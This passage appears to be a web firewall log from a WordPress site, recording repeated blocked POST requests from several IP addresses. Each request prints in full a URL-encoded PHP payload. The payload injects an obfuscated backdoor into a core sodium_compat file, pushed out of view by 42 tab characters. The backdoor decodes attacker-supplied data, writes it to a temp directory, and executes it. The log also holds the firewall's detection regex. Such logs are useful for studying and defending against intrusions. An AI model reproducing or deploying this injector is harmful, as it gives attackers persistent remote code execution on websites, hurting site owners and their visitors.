s_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524value%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524object%252C%2520%2522.tkn%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524value%252C%2520%2524data%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524value%253B%2520unlink%2528%2524value%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:46:04","163.172.31.86","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522o%255Cx62%255Cx6A%2522%2529%2529%257B%2520%2524symbol%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2524_REQUEST%255B%2522o%255Cx62%255Cx6A%2522%255D%253B%2520%2524fac%2520%253Dexplode%2520%2528%2527.%2527%2520%252C%2524fac%2520%2529%2520%253B%2520%2524data%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2520%2524salt%2529%253B%2520%2524l%2520%253D%25200%253B%2520foreach%2528%2520%2524fac%2520as%2520%2524v5%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E89%253B%2520%2524data.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524l%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524symbol%2520as%2520%2524object%2529%253A%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524value%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524object%252C%2520%2522.tkn%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524value%252C%2520%2524data%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524value%253B%2520unlink%2528%2524value%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-length:4383\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-dest:document\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-platform:\"Windows\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnyNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\n\njP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522o%255Cx62%255Cx6A%2522%2529%2529%257B%2520%2524symbol%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2524_REQUEST%255B%2522o%255Cx62%255Cx6A%2522%255D%253B%2520%2524fac%2520%253Dexplode%2520%2528%2527.%2527%2520%252C%2524fac%2520%2529%2520%253B%2520%2524data%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2520%2524salt%2529%253B%2520%2524l%2520%253D%25200%253B%2520foreach%2528%2520%2524fac%2520as%2520%2524v5%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E89%253B%2520%2524data.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524l%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524symbol%2520as%2520%2524object%2529%253A%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524value%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524object%252C%2520%2522.tkn%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524value%252C%2520%2524data%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524value%253B%2520unlink%2528%2524value%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:47:34","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522o%255Cx62%255Cx6A%2522%2529%2529%257B%2520%2524symbol%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2524_REQUEST%255B%2522o%255Cx62%255Cx6A%2522%255D%253B%2520%2524fac%2520%253Dexplode%2520%2528%2527.%2527%2520%252C%2524fac%2520%2529%2520%253B%2520%2524data%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2520%2524salt%2529%253B%2520%2524l%2520%253D%25200%253B%2520foreach%2528%2520%2524fac%2520as%2520%2524v5%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E89%253B%2520%2524data.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524l%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524symbol%2520as%2520%2524object%2529%253A%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524value%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524object%252C%2520%2522.tkn%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524value%252C%2520%2524data%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524value%253B%2520unlink%2528%2524value%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-length:4383\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-dest:document\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-platform:\"Windows\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrT0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\n\nxm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522o%255Cx62%255Cx6A%2522%2529%2529%257B%2520%2524symbol%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2524_REQUEST%255B%2522o%255Cx62%255Cx6A%2522%255D%253B%2520%2524fac%2520%253Dexplode%2520%2528%2527.%2527%2520%252C%2524fac%2520%2529%2520%253B%2520%2524data%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2520%2524salt%2529%253B%2520%2524l%2520%253D%25200%253B%2520foreach%2528%2520%2524fac%2520as%2520%2524v5%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E89%253B%2520%2524data.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524l%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524symbol%2520as%2520%2524object%2529%253A%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524value%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524object%252C%2520%2522.tkn%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524value%252C%2520%2524data%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524value%253B%2520unlink%2528%2524value%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:47:44","103.124.92.234","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nk:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522o%255Cx62%255Cx6A%2522%2529%2529%257B%2520%2524symbol%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2524_REQUEST%255B%2522o%255Cx62%255Cx6A%2522%255D%253B%2520%2524fac%2520%253Dexplode%2520%2528%2527.%2527%2520%252C%2524fac%2520%2529%2520%253B%2520%2524data%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2520%2524salt%2529%253B%2520%2524l%2520%253D%25200%253B%2520foreach%2528%2520%2524fac%2520as%2520%2524v5%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E89%253B%2520%2524data.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524l%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524symbol%2520as%2520%2524object%2529%253A%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524value%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524object%252C%2520%2522.tkn%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524value%252C%2520%2524data%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524value%253B%2520unlink%2528%2524value%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvozfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:4383\n\nnk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522o%255Cx62%255Cx6A%2522%2529%2529%257B%2520%2524symbol%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2524_REQUEST%255B%2522o%255Cx62%255Cx6A%2522%255D%253B%2520%2524fac%2520%253Dexplode%2520%2528%2527.%2527%2520%252C%2524fac%2520%2529%2520%253B%2520%2524data%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2520%2524salt%2529%253B%2520%2524l%2520%253D%25200%253B%2520foreach%2528%2520%2524fac%2520as%2520%2524v5%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E89%253B%2520%2524data.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524l%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524symbol%2520as%2520%2524object%2529%253A%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524value%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524object%252C%2520%2522.tkn%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524value%252C%2520%2524data%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524value%253B%2520unlink%2528%2524value%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2